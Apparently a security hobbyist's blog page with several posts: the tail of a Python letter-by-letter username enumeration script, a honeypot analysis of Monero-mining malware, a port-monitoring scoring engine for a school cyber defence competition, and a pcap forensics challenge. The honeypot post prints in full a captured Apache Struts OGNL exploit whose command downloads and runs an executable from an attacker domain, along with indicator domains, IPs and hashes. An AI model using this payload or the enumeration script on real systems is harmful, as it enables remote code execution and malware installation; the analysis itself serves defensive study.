            secondletter='t'
        elif successful == "Yes" and firstletter=='n' and secondletter=='q':     # if n-q then n
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='n'
        elif successful == "Yes" and firstletter=='a' and secondletter=='g':     # if a-m and a-g then a-d
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='a'
            secondletter='d'
        elif successful == "No" and firstletter=='a' and secondletter=='g':     # if a-m and not a-g then h-m
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='h'
            secondletter='m'
        elif successful == "Yes" and firstletter=='h' and secondletter=='m':     # if a-m and h-m then h-j
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='h'
            secondletter='j'
        elif successful == "No" and firstletter=='h' and secondletter=='j':     # if a-m and h-m not h-j then k-m
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='k'
            secondletter='m'
        elif successful == "Yes" and firstletter=='k' and secondletter=='m':     # if a-m and h-m and k-m then k
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='k'
            secondletter='k'
        elif successful == "No" and firstletter=='k' and secondletter=='k':     # if a-m and h-m and k-m not k then l
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='l'
            secondletter='l'
        elif successful == "No" and firstletter=='l' and secondletter=='l':     # if a-m and h-m and k-m not l then m
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='m'
            secondletter='m'
        elif successful == "Yes" and firstletter=='h' and secondletter=='j':     # if a-m and h-m and h-j then h
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='h'
            secondletter='h'
        elif successful == "No" and firstletter=='h' and secondletter=='h':     # if a-m and h-m and h-j not h then i
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='i'
            secondletter='i'
        elif successful == "No" and firstletter=='i' and secondletter=='i':     # if a-m and h-m and h-j not i then j
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='j'
            secondletter='j'
        elif successful == "Yes" and firstletter=='a' and secondletter=='d':     # if a-m and a-g and a-d then a
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='a'
            secondletter='a'
        elif successful == "No" and firstletter=='a' and secondletter=='a':     # if a-m and a-g and a-d not a then b
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='b'
            secondletter='b'
        elif successful == "No" and firstletter=='b' and secondletter=='b':     # if a-m and a-g and a-d not b then c
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='c'
            secondletter='c'
        elif successful == "No" and firstletter=='c' and secondletter=='c':     # if a-m and a-g and a-d not c then d
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='d'
            secondletter='d'
        elif successful == "Yes" and firstletter==secondletter:     # if a-m and a-g and a-d then d
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            usernameSegment = usernameSegment + firstletter
            firstletter='a'
            secondletter='m'
            usernameSegmentCount += 1
        else:
            comment = "Finished!"
            case = "Quit"
        print(comment)





for letter in 'abcdefghijklmnopqrstuvwxyz':
    main(letter)




b

Saturday, December 8, 2018

Monero Mining Malware from Honeypot

Recently in a honeypot, I observed that the miscreants were looking for a vulnerability in an Apache Struts server running on a Windows Server.  Below is the GET request that was captured:




SrcIP:182.247.95.237 
HTTPCode:200 
HTTPVerb:GET 
URI:/index.do 
UserAgent:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) 
Headers:
Cache-Control:no-cache,
Connection:Keep-Alive,
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cmd /c echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/5.vbs&
echo Set Shell = CreateObject("Wscript.Shell") >>C:/5.vbs&
echo Post.Open "GET","http://a46.bulehero.in/download.exe",0 >>C:/5.vbs&echo Post.Send() >>C:/5.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/5.vbs&echo aGet.Mode = 3 >>C:/5.vbs&echo aGet.Type = 1 >>C:/5.vbs&echo aGet.Open() >>C:/5.vbs&echo aGet.Write(Post.responseBody) >>C:/5.vbs&echo aGet.SaveToFile "C:/Windows/temp/download.exe",2 >>C:/5.vbs&echo wscript.sleep 10000>>C:/5.vbs&echo Shell.Run ("C:/Windows/temp/download.exe")>>C:/5.vbs&C:/5.vbs').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())},

Accept:text/html, application/xhtml+xml, */*,
Accept-Encoding:gbk, GB2312,
Accept-Language:zh-cn,
Host:x.x.x.x:8000


As you can see above a file is downloaded from a46.bulehero.in.  The domain registration is through GoDaddy.  Below is the whois record that I found.  I find it fascinating that the Organization and State/Province is probably random keystrokes from a bot.




Domain Name BULEHERO.IN
Registry Domain ID D414400000006028492-AFIN
Registrar URL www.godaddy.com
Updated Date 2018-11-01T10:56:24Z
Creation Date 2018-05-09T11:12:14Z
Registry Expiry Date 2020-05-09T11:12:14Z
Registrar GoDaddy.com, LLC
Registrar IANA ID 146
Registrar Abuse Contact Email abuse@godaddy.com
Registrar Abuse Contact Phone +1.4806242505
...
Registrant Organization zanwu
Registrant State/Province uysf
Registrant Country AZ


Other subdomains that are associated with this malware that I have found with the associated IP Address and organization that they are associated with:



a45.bulehero.in - 139.162.27.37 - Linode LLC in Singapore
a46.bulehero.in - 139.162.74.150 - Linode LLC in US
a47.bulehero.in - 23.239.7.210 - Linode LLC in US
a48.bulehero.in - 139.162.74.150 - Linode LLC in US
a88.bulehero.in - 139.162.71.92 - Linode LLC in US
support@linode.com

Now going back to the download.exe file that is downloaded.  Evaluating the file we find that it is a Windows x86 binary.


Using the command "upx -d" on the file it decompresses it so that we can look at the binary.  I copied the original file of download.exe to original_download.exe becasue the upx -d command will overwrite the file in-place with the decompressed file.

Looking at the code you can tell that it has backdoor capabilities after it is installed, has the capability to send emails, and much more.  Within the strings of the output you can see that it downloads another file as shown below:


I then downloaded this file from the location and analyzed it further.  This malware was also UPX compressed.  I decompressed the file and conducted a basic analysis.  You can see that it contains backdoor functionality, mimikatz, a list of passwords for brute forcing, and more.  Below is filtered by the string "http" using grep -i.


We find another domain that is involved called heroherohero.info.  That is another rabbit hole that can be investigated.  The part of the binary that caught my attention was the Cfg.ini file.  This configuration file contains information to run a mineXMR bot.  The address of the wallet is in the screenshot below:


They are utilizing the Singapore MineXMR location.  If you lookup the address you can see the following screenshot:


This wallet is probably the benefits of infected computers.  At the bottom you can see that 123 XMR is the total paid which amounts to $46 each XMR for $5,658.  This is not much for the expense of others.

Here are the hashes of the malware that I collected from this analysis:

789072c3f9fe20c7aa691bb23fbfb0ce4239c659889bb1f19f9d81b8493dc117  Cfg.ini
b1017cb86875e7c4a6037db439769650384bca5439d9426cca844038a38c3f00  download.exe
bb2d54d74274dcc822481650d7025b06d0523b473b8f1b82fbd0efe67f196550  original_download.exe
06408e8b2d311cc6f7e85386f3acc4f3b3b8d7e4b4fbec27c49803ce66b2852e  original_unloadcur.exe
a7978d10e171d997a448214edca68e6c22980c0908183df59884f97ab7079322  unloadcur.exe

Enjoy...

Saturday, December 1, 2018

Simple Monitor / Scoring Engine in Python3

The below script was built to monitor IP Addresses and Ports that are open on a network.  Below is more of the dialogue of why it was created and what it does.

Almost 2 years ago I was asked to create a simple script that would monitor if a set of ports were open or closed.  Then if the ports were open provide points for them that would add up for a team score.  This script was used for the LDSBC High School Cyber Defense competition to determine if a team had maintained there systems online as they protected them from a red team and hardened them. Here is what I created located on my github.

I was asked for the same script that I used 2 years ago and found out they have used it a couple of times since that time.  The below script is a much improved scoring engine which the LDSBC is going to use in the High School Cyber Defense competition coming up December 7th.

After running the script I found the following use for it.  I have been in situations where a system administrator or myself has turned off a monitoring system like Nagios due to the amount of alarms that are firing during an outage.  The below script could be used during a timeframe like that to monitor systems that you are working to fix or verify they are working as you are in the middle of an outage.

The script is built to allow you to launch it, configure teams or vlans.  Then after configuring notes about a team or a vlan, configure the IPs and ports you would like monitored.  After launching it provides a status every 10 minutes of the IPs and ports that are UP or DOWN.  The score could be evaluated as the consistency of a system being up.  An audit log is also generated that could be viewed to determine the UP or DOWN time of systems.

Currently it is tuned to allow up to 6 teams/vlans with up-to 20 IPs/Ports per team or a total of 120 IPs/Ports to be monitored within a 10 minute period of time.  This also saves a file that could be restored every 10 minutes during the monitoring process.  This script also allows you to save a configuration that you create.




#!/usr/bin/python3
# Created Nov. 30, 2018
# Updated Dec. 11, 2018


import socket
import datetime
import time

class Teams:
    def __init__(self):
        self.teamName = []

    def addTeam(self, name):
        self.teamName.append(name)
        return self

class Team:
    def __init__(self, name, description, location, score):
        self.name = name
        self.description = description
        self.location = location
        self.score = int(score)



class Ports:
    def __init__(self):
        self.monitoredPorts = []

    def addPort(self, portInfo):
        self.monitoredPorts.append(portInfo)
        return self

class Port:
    def __init__(self, teamName, ip, port, description):
        self.teamName = teamName
        self.ip = ip
        self.port = port
        self.description = description


def modifyPort(poInfo, teInfo):
    while True:
        print('')
        print('')
        print('')
        print('Port Modification')
        print('***************************************************************************************')
        tInfo = "Name:" + str(teInfo.name)
        tInfo += "\tDesc: " + str(teInfo.description)
        tInfo += "\tLocation: " + str(teInfo.location)
        tInfo += "\tScore: " + str(teInfo.score)
        print(tInfo)
        print("")
        pInfo = "Port Desc:" + str(poInfo.description)
        pInfo += "\tIP:" + str(poInfo.ip)
        pInfo += "\tPort:" + str(poInfo.port)
        print('***************************************************************************************')
        print("")
        print("D. Modify IP/Port Description")
        print("I. Modify IP")
        print("P. Modify Port")
        print("")
        print("R. Refresh")
        print("Q. Quit to IP/Port Setup")
        print("")
        selectMod = input("> ")
        if selectMod == 'D' or selectPort == 'd':
            newDesc = input("Change IP/Port description to: ")
            poInfo.description = newDesc.strip().replace('\n','').replace('\r','')
        elif selectMod == 'I' or selectMod == 'i':
            newIP = input("Change IP to: ")
            poInfo.ip = newIP.strip().replace('\n','').replace('\r','')
        elif selectMod == 'P' or selectMod == 'p':
            newPort = input("Change Port to: ")
            poInfo.port = int(newPort.strip().replace('\n','').replace('\r',''))
        elif selectPort == 'Q' or selectPort == 'q':
            return
        else:
            continue
    return


def setPorts(teamInfo, nPorts):
    while True:
        print('')
        print('')
        print('')
        print('IP/Port Setup')
        print('***************************************************************************************')
        tInfo = "Name:" + str(teamInfo.name)
        tInfo += "\tDesc: " + str(teamInfo.description)
        tInfo += "\tLocation: " + str(teamInfo.location)
        tInfo += "\tScore: " + str(teamInfo.score)
        print(tInfo)
        print('***************************************************************************************')
        portNumber = 1
        portNumberSet = []
        for port in nPorts.monitoredPorts:
            if port.teamName == teamInfo.name:
                # Check if IP is in correct format
                # Check if Port is in correct format
                print(str(portNumber) + ". " + str(port.description) + "\t\tIP:" + str(port.ip) + "\t\tPort:" + str(port.port))
                portNumberSet.append(portNumber)
            portNumber += 1
        if len(nPorts.monitoredPorts) == 0:
            print("No ports have been configured.")
        if len(nPorts.monitoredPorts) > 0:
            print("** To modify a monitored port above select the number in the front.")
        print("")
        print('A. Add Port')
        print('')
        print('N. Modify Team Name')
        print('D. Modify Team Description')
        print('L. Modify Team Location')
        print('S. Modify Team Score')
        print('')
        print('Q. Quit to Main')
        print
        selectPort = input('> ')
        try:
            numbPort = int(selectPort)
            if len(nPorts.monitoredPorts) >= numbPort and numbPort in portNumberSet:
                modifyPort(nPorts.monitoredPorts[numb-1], teamInfo)
        except:
            if selectPort == 'A' or selectPort == 'a':
                portDescription = input("Input Description of Monitored Port: ")
                portDescription = portDescription.strip().replace('\n','').replace('\r','')
                portIP = input("Input IP to Monitor for " + str(teamInfo.name) + ": ")
                portIP = portIP.strip().replace('\n','').replace('\r','')
                portPort = input("Input Port to Monitor: ")
                portPort = int(portPort.strip().replace('\n','').replace('\r',''))
                nPorts.addPort(Port(teamInfo.name, portIP, portPort, portDescription))
            elif selectPort == 'N' or selectPort == 'n':
                newName = input("Change team name to: ")
                newName = newName.strip().replace('\n','').replace('\r','')
                teamInfo.name = newName
            elif selectPort == 'D' or selectPort == 'd':
                newDesc = input("Change team description to: ")
                newDesc = newDesc.strip().replace('\n','').replace('\r','')
                teamInfo.description = newDesc
            elif selectPort == 'L' or selectPort == 'l':
                newLoc = input("Change team location to: ")
                newLoc = newLoc.strip().replace('\n','').replace('\r','')
                teamInfo.location = newLoc
            elif selectPort == 'S' or selectPort == 's':
                newScore = input("Change team score from " + str(teamInfo.score) + " to: ")
                newScore = newScore.strip().replace('\n','').replace('\r','')
                teamInfo.score = int(newScore)
            elif selectPort == 'Q' or selectPort == 'q':
                main()
            else:
                continue
    return




def saveTeam(nTeams, nPorts):
    print('')
    fileName = input('Input file to save to, contents will be overwritten (i.e. savedTeam.txt): ')
    fileName = fileName.strip().replace('\n','').replace('\r','')
    if len(fileName) < 4:
        print('Invalid file name, using savedTeam.txt')
        fileName = 'savedTeam.txt'
    f = open(fileName, 'w')
    for team in nTeams.teamName:
        outputTeam = "TEAM" + "|" + str(team.name) + "|" + str(team.description) + "|" + str(team.location) + "|" + str(team.score) + "\r\n"
        f.write(outputTeam)
    for port in nPorts.monitoredPorts:
        outputPort = "PORT" + "|" + str(port.teamName) + "|" + str(port.ip) + "|" + str(port.port) + "|" + str(port.description) + "\r\n"
        f.write(outputPort)
    f.close()
    return



def saveTeamMonitoring(nTeams, nPorts):
    now = datetime.datetime.now()
    timeInfo = now.strftime("_%m_%d_%YT%H_%M")
    fileName = 'monitoringSaveTeam' + timeInfo + '.txt'
    f = open(fileName, 'w')
    for team in nTeams.teamName:
        outputTeam = "TEAM" + "|" + str(team.name) + "|" + str(team.description) + "|" + str(team.location) + "|" + str(team.score) + "\r\n"
        f.write(outputTeam)
    for port in nPorts.monitoredPorts:
        outputPort = "PORT" + "|" + str(port.teamName) + "|" + str(port.ip) + "|" + str(port.port) + "|" + str(port.description) + "\r\n"
        f.write(outputPort)
    f.close()
    print('Saved current team information to the file "' + fileName + '"')
    print('If you stop the program you can restore this file with the scores at this point-in-time.')
    return






def loadTeam(nTeams, nPorts):
    print('')
    fileName = input('Input file name to load: ')
    fileName = fileName.strip().replace('\n','').replace('\r','')
    if len(fileName) < 4:
        print('Invalid file name, trying savedTeam.txt')
        fileName = 'savedTeam.txt'
    try:
        f = open(fileName, 'r')
        for line in f:
            column = line.split('|')
            if column[0] == 'TEAM':
                nTeams.addTeam(Team(column[1], column[2], column[3], column[4].strip()))
            elif column[0] == 'PORT':
                nPorts.addPort(Port(column[1], column[2], column[3], column[4].strip()))
            else:
                print('Invalid line format found in ' + fileName + '. You will need to manually correct it.')
        f.close()
        print("")
        print("** Note: The score was loaded with the restored information...")
        print("")
    except:
        print("")
        print('Sorry either the file does not exist or problems loading the file exist.')
    print("")
    return





def monitorMode(currentTeams, currentPorts):
    while True:
        print('')
        print('')
        print('')
        print('Monitoring Mode - Will cylcle through all ports every 10 minutes...')
        print('**Note: If the cycle time is greater than 600 seconds not enough time is allowed.')
        print('***************************************************************************************')
        print('Current Team Scores')
        for team in currentTeams.teamName:
            teamInfo = str(team.name)
            teamInfo += "\tDesc: " + str(team.description)
            teamInfo += "\tLocation: " + str(team.location)
            teamInfo += "\tScore: " + str(team.score)
            print(teamInfo)
        print('***************************************************************************************')
        fAudit = open('auditLog.txt', 'a')
        timeSleep = 0
        totalSleep = 0
        beforeCycle = time.time()
        for port in currentPorts.monitoredPorts:
            ip = port.ip
            currentPort = int(port.port)
            beforeDate = datetime.datetime.now()
            beforeConnection = time.time()
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            result = s.connect_ex((ip,currentPort))
            s.close()
            if result == 0:
                for team in currentTeams.teamName:
                    if team.name == port.teamName:
                        # For each successful connection it provides 5 points
                        team.score = team.score + 5
                        teamScore = team.score
                infoAudit = port.teamName + "|"
                infoAudit += port.ip + "|"
                infoAudit += str(port.port) + "|"
                infoAudit += "UP|"
                infoAudit += beforeDate.strftime("%m-%d-%Y %H:%M:%S") + "|"
                infoAudit += str(teamScore)
                print(infoAudit)
                infoAudit += "\r\n"
                fAudit.write(infoAudit)
            else:
                infoAudit = port.teamName + "|"
                infoAudit += port.ip + "|"
                infoAudit += str(port.port) + "|"
                infoAudit += "DOWN|"
                infoAudit += beforeDate.strftime("%m-%d-%Y %H:%M:%S") + "|"
                infoAudit += "|"
                print(infoAudit)
                infoAudit += "\r\n"
                fAudit.write(infoAudit)
            afterConnection = time.time()
            # Sleep for a total of 5 seconds per connection whether failed or successful
            timeSleep = 5 - (afterConnection - beforeConnection)
            #print("Time Elapsed: " + str(timeSleep))
            time.sleep(timeSleep)
            totalSleep += 5
        fAudit.close()
        print("")
        saveTeamMonitoring(currentTeams, currentPorts)
        # Setup to monitor all connections every 10 minutes (6 teams 20 ports = 120 ports * 5 seconds = 600 seconds)
        # 3 hours / 10 minutes = 18 cycles
        afterCycle = time.time()
        totalCycle = afterCycle - beforeCycle
        print("")
        print("Cycle took " + str(totalCycle) + " seconds.")
        totalTimeSleep = 600 - (afterCycle - beforeCycle)
        print("Sleeping for " + str(totalTimeSleep) + " seconds until the next cycle.")
        time.sleep(totalTimeSleep)
        totalSleep = 0
    return


def main(newTeams, newPorts):
    while True:
        print('')
        print('')
        print('')
        print('Main Menu')
        print('***************************************************************************************')
        teamNumber = 1
        for team in newTeams.teamName:
            portCount = 0
            for port in newPorts.monitoredPorts:
                if port.teamName == team.name:
                    portCount += 1
            teamInfo = str(teamNumber) + ". "
            teamInfo += str(team.name)
            teamInfo += "\tDesc: " + str(team.description)
            teamInfo += "\tLocation: " + str(team.location)
            teamInfo += "\tPorts Configured: " + str(portCount)
            teamInfo += "\tScore: " + str(team.score)
            print(teamInfo)
            teamNumber += 1
        if len(newTeams.teamName) == 0:
            print("No teams have been configured.")
        if len(newTeams.teamName) > 0:
            print("** To modify a team select the number in the front.")
        print('')
        print('A. Add Team')
        print('L. Load Team Info from File')
        print('S. Save Team Info to File')
        print('')
        print('Type "Monitor" to enter monitoring mode based on the configuration above')
        print('')
        print('R. Refresh')
        print('Q. Quit')
        print("")
        selection = input('> ')
        try:
            numb = int(selection)
            if len(newTeams.teamName) >= numb:
                setPorts(newTeams.teamName[numb-1], newPorts)
        except:
            if selection == 'A' or selection == 'a':
                teamName = input("Input team name: ")
                teamDescription = input("Input team description: ")
                teamLocation = input("Input team location: ")
                newTeams.addTeam(Team(teamName, teamDescription, teamLocation, 0))
            elif selection == 'L' or selection == 'l':
                loadTeam(newTeams, newPorts)
            elif selection == 'S' or selection == 's':
                saveTeam(newTeams, newPorts)
            elif selection == 'Q' or selection == 'q':
                exit()
            elif selection == 'monitor' or selection == 'Monitor' or selection == 'MONITOR':
                monitorMode(newTeams, newPorts)
            else:
                continue
    return



listTeams = Teams()
listPorts = Ports()
main(listTeams, listPorts)




pcap Challenge from myhouse7

Description of the pcap Challenge


This pcap challenge was created from an attacker scanning, penetrating and pivoting through the myhouse7 virtual machine.  The owners of the network are aware of the attack due to detecting it in the logs.  They are not concerned about the information that may have been compromised but would like to learn from the attack.  Download the pcap Challenge from my google drive at this link.

Your Task


1. Draw a network diagram of the systems that were involved in the attack.  The diagram should include all of the IP Addresses separated by networks involved.

2. Put together a timeline of the major events.

2. Identify the tools that were used by the attacker.

3. Identify what was used by the attacker to access and/or gain control of the servers.

4. What scripts or evidence did the attacker leave behind that the owners could go and evaluate?

5. Did the attacker download an encrypted file from a file server?

Download Location


Download the pcap Challenge from my google drive at this link.

Is rockyou password list in the Have I Been Pwned SHA1 hash list?

A couple of posts ago I wrote a tool in python to evaluate a password list for character sets that it uses and length.  While I was working ...